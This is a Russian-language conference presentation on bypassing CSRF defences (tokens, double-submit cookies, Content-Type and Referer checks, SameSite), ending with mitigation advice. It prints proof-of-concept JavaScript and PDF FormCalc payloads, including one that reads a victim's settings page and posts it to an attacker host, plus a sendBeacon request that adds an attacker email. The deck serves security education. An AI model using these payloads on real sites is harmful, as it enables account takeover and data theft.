CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем веб-приложении Михаил Егоров 

Дисклеймер ИНФОРМАЦИЯ в данной презентации является сугубо мнением автора … Crazy Russian hackers 

О себе AppSec Engineer @ Ingram Micro Cloud Security researcher & Bug hunter @0ang3el 

Почему CSRF-атаки работают? Веб-приложение использует cookies для управления сессией пользователя! Браузер автоматически отправляет cookies вместе с HTTP-запросом, даже cross-origin 

Cookies Небольшой фрагмент данных, отправленный веб-сервером и хранимый на компьютере пользователя, браузер всякий раз пересылает этот фрагмент данных веб-серверу в составе HTTP- запроса Сервер Клиент Set-Cookie: name=value; expires=date; path=/; domain=.example.org; secure; httponly; Cookie: name=newvalue; 

Cookies До сих пор используются многими веб-приложениями для управления сессией пользователя Впервые сookies появились в браузере Netscape в 1994 году 

Классическая CSRF-атака POST /user/address/shipping HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 43 city=Moscow&street=Prospekt+Mira&zip=12345 

Классическая CSRF-атака history.pushState('', '', '/') https://attacker.com/csrf-form.html 

Классическая CSRF-атака var request = new XMLHttpRequest(); var data = 'city=Moscow&street=Prosperkt+Mira&zip=12345'; request.open('POST', 'https://example.com/user/address/shipping', true); request.withCredentials = true; // INCLUDE COOKIES request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); request.send(data); https://attacker.com/csrf-xhr.html 

Классическая CSRF-атака https://example.com https://attacker.com csrf-xhr.html 

Классическая CSRF-атака https://example.com https://attacker.com https:/attacker.com/csrf-xhr.html csrf-xhr.html 

Классическая CSRF-атака https://example.com https://attacker.com https:/attacker.com/csrf-xhr.html POST /user/address/shipping HTTP/1.1 HOST: example.com Cookie: JSESSIONID=728F... 

История CSRF-атак Эксплуатируются с 2001 года Публичные CSRF-уязвимости в популярных проектах 2008-2012: 1. YouTube 2. The New York Times 3. Badoo 4. Slideshare 5. Vimeo 6. Hulu 7. КиноПоиск 8. … 

Насколько серьезны CSRF-уязвимости Зависит от критичности уязвимого action’a  …  Account takeover (смена email)  Privilege Escalation (создание нового пользователя с высокими правами)  Remote code execution (эксплуатация command injection в админке) 

Насколько серьезны CSRF-уязвимости OWASP Top 10 - https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project не вошла в Top 10 – 2017 (RC2) A8 – 2017 (RC1) A8 – 2013 А5 – 2010 

Насколько серьезны CSRF-уязвимости Bugcrowd VRT - https://bugcrowd.com/vulnerability-rating-taxonomy * VRT – Vulnerability Rating Taxonomy Application-wide CSRF – P2 (High) 

Популярные варианты защиты от CSRF  CSRF token  Double submit cookie  Content-Type based protection  Referer-based protection  Password confirmation (websudo)  SameSite Cookies (Chrome, Opera) You shall not pass!!! You shall not PASS!!! 

Популярные варианты защиты от CSRF  CSRF token (1 из 6)  Уникальный и высокоэнтропийный токен для каждой пользовательской сессии  Токен вставляется в DOM или доступен через API  Пользователь должен отправить токен в параметре или хэдере запроса  Атакующий не знает токен → классическая CSRF-атака не работает 

Популярные варианты защиты от CSRF  Double submit cookie (2 из 6)  Уникальный и высокоэнтропийный токен для каждой пользовательской сессии помещается в cookies  Пользователь должен отправить одинаковые значения в cookies и в параметре запроса  Атакующий не может изменить cookies → классическая CSRF- атака не работает 

Популярные варианты защиты от CSRF  Content-Type based protection (3 из 6)  Пользователь должен отправить запрос с определенным заголовком Content-Type, например application/json  Браузер через форму или XHR не может отправить произвольный Content-Type cross-origin → классическая CSRF- атака не работает 

Популярные варианты защиты от CSRF  Referer-based protection (4 из 6)  Пользователь должен отправить запрос с определенным заголовком Referer  Браузер не может отправить произвольный Referer через форму или XHR → классическая CSRF-атака не работает 

Популярные варианты защиты от CSRF  Password confirmation / websudo (5 из 6)  Действие либо доступ к критичному функционалу подтверждается вводом пароля (секрета)  Атакующий не знает пароля → классическая CSRF-атака не работает 

Популярные варианты защиты от CSRF  SameSite Cookies в Chrome, Opera (6 из 6)  Дополнительный атрибут у cookies – samesite (значения lax и strict)  Браузер не отправляет cookies, если запрос осуществляется с сайта атакующего → классическая CSRF-атака не работает 

К сожалению… нередко бывает так 

«Магия» обхода CSRF-защиты  XSS  Dangling markup  Vulnerable subdomains  Cookie injection  Change Content-Type  Non-simple Content-Type  Bad PDF  Referer spoof А ты думал, я с тобой шутки шучу 

Сценарий обхода – XSS (1 из 8) XSS (Cross-Site Scripting) в приложении позволяет обойти большинство типов CSRF-защиты! Просто смирись c этим!!! 

Когда есть HTML injection, но нет XSS (например, есть Content Security Policy - CSP) Атакующий может заполучить CSRF-токен через Dangling markup injection Сценарий обхода – Dangling markup (2 из 8) 

Сценарий обхода – уязвимый субдомен (3 из 8) Один из поддоменов foo.example.com уязвим к subdomain takeover или XSS Атакующий сможет обойти следующие типы CSRF-защиты:  CSRF tokens  Double submit cookie  Content-Type based protection 

Приложение использует CORS (Cross-Origin Resource Sharing) для междоменного взаимодействия Атакующий сможет прочитать CSRF-токен Access-Control-Allow-Origin: https://foo.example.com Access-Control-Allow-Credentials: true Сценарий обхода – уязвимый субдомен (3 из 8) 

На основном домене есть crossdomain.xml который разрешает взаимодействие для субдоменов Атакующий может загрузить файл с JS на foo.example.com Пример - https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/ Сценарий обхода – уязвимый субдомен (3 из 8) 

Атакующий может использовать Service Worker для субдомена foo.example.com Через SWF атакующий сможет прочитать CSRF-токен! var url = "https://attacker.com/bad.swf"; onfetch = (e) => { e.respondWith(fetch(url); } Сценарий обхода – уязвимый субдомен (3 из 8) 

Атакующий сможет установить cookie для родительского домена на интересующий path Браузер выберет cookie с самым длинным path Тем самым атакующий сможет обойти защиту Double submit cookie Сценарий обхода – уязвимый субдомен (3 из 8) 

Сценарий обхода – bad PDF (4 из 8) PDF plugin от Adobe поддерживает FormCalc PDF plugin от Adobe работает в IE11 и Firefox ESR В FormCalc есть методы get() и post() Атакующий получает CSRF-токен жертвы 

Сценарий обхода – bad PDF (4 из 8) Допустим, у нас есть возможность загрузить PDF в веб- приложение (можно загрузить PDF как файл другого формата – картинкy ) У приложения есть API на интересующем домене, которое позволяет получать содержимое загруженного PDF 

Сценарий обхода – bad PDF (4 из 8)

Nothing to see here!

https://attacker.com/csrf-badpdf.html 

Сценарий обхода – bad PDF (4 из 8) var content = GET("https://example.com/Settings.action"); Post("http://attacker.site/loot",content,"text/plain"); leak.pdf 

Сценарий обхода – bad PDF (4 из 8) Фокус в том, что для PDF plugin не важен Content-Type и другие заголовки (например, Content-Disposition)! 

Сценарий обхода – cookie injection (5 из 8) Атакующий в результате сookie injection сможет обойти защиту Double submit cookie Варианты cookie injection  CRLF injection  Особенности обработки cookie браузером – comma-separated cookies (Safari)  Баги браузера (например, CVE-2016-9078 в FF) 

Сценарий обхода – change Content-Type (6 из 8) Некоторые считают, что нестандартный формат данных в теле POST-запроса спасает от CSRF !? SRSLY? 

POST /user/add/note HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-thrift Content-Length: 43 �addNote � � r � Сценарий обхода – change Content-Type (6 из 8) 

var request = new XMLHttpRequest(); request.open('POST', 'https://example.com/add/note', true); request.withCredentials = true; request.setRequestHeader("Content-type", "text/plain"); var data = ['0x80','0x01','0x00','0x01','0x00','0x00','0x00','0x07','0x67','0x65','0x74','0x55', '0x73','0x65','0x72','0x00','0x00','0x00', '0x00','0x0b','0x00','0x01','0x00','0x00','0x00','0x00','0x00']; var bin = new Uint8Array(data.length); for (var i = 0; i < data.length; i++) { bin[i] = parseInt(data[i], 16); } request.send(bin); https://attacker.com/csrf-thrift.html Сценарий обхода – change Content-Type (6 из 8) 

Сценарий обхода – non-simple Content-Type (7 из 8) Валидные значения content type, которые можно отправить из HTML-формы и через XHR без OPTIONS preflight - aka simple content types  text/plain  application/x-www-form-urlencoded  multipart/form-data 

Как отправить произвольный Content-Type:  Баги в браузерах (например, Navigator.sendBeacon)  Flash plugin + 307 redirect  PDF plugin + 307 redirect  Некоторые фреймворки поддерживают URL- параметры для переопределения Content-Type http://cxf.apache.org/docs/jax-rs.html#JAX-RS-Debugging Сценарий обхода – non-simple Content-Type (7 из 8) 

Баг в Chrome - https://bugs.chromium.org/p/chromium/issues/detail?id=490015 Можно было эксплуатировать с 2015 по 07.2017    Navigator.sendBeacon() позволял отправить POST-запрос с любым Content-Type на другой origin Сценарий обхода – non-simple Content-Type (7 из 8) 

function jsonreq() { var data = '{"action":"add-user-email","Email":"[email protected]"}'; var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); navigator.sendBeacon('https://example.com/home/rpc', blob ); } jsonreq(); https://attacker.com/csrf-sendbeacon.html Сценарий обхода – non-simple Content-Type (7 из 8) 

Как это работает - http://research.rootme.in/forging-content-type-header-with-flash/ Сценарий обхода – non-simple Content-Type (7 из 8) 

Сценарий обхода – spoof Referer (8 из 8) Баг в Edge - https://www.brokenbrowser.com/referer-spoofing-patch-bypass/ Еще работает  Ho работает только для GET-запросов  

Сценарий обхода – spoof Referer (8 из 8) Post("http://attacker.com:8888/redirect", "{""action"":""add-user-email"",""Email"":""[email protected]""}", "application/json&#x0a;&#x0d;Referer;&#x20;http://example.com") 

Сценарий обхода – spoof Referer (8 из 8) В бэкенд будет отправлен header Некоторые серверы воспринимают пробел как конец имени HTTP-заголовка (например, WildFly или Jboss) – т.е. двоеточие `:` Referer http://example.com Имя :Значение Referer http://example.com Имя :Значение 

Обход CSRF-защиты – Итог CSRF Tokens Double Submit Cookie CT-based Referer-based SameSite Cookies XSS All All All All All Dangling markup All - - - All* Subdomain issues All All All - All* Cookie Injection - All - - All* Change CT - - All - All* Non-simple CT - - All with Flash plugin, IE11/FF ESR with Pdf plugin - All* Bad Pdf IE11/FF ESR with Pdf plugin - IE11/FF ESR with Pdf plugin - All* Spoof Referer - - - IE11/FF ESR with Pdf plugin, Edge All* All – works for all browsers All* – All browsers except browsers that support SameSite Cookies (Chrome & Opera) 

Как все-таки правильно защититься от CSRF Не использовать cookies для управления пользовательской сессией 

Как все-таки правильно защититься от CSRF … eсли не можете отказаться от cookies  Моделируйте угрозы и проверяйте реализацию (см. Итоговую таблицу)  Имплементируйте SameSite Cookies  Комбинируйте различные CSRF-защиты – defense in depth  Спрашивайте у пользователя пароль для выполнения критичных action’ов  Отдавайте загружаемые файлы с отдельного домена 

Q&A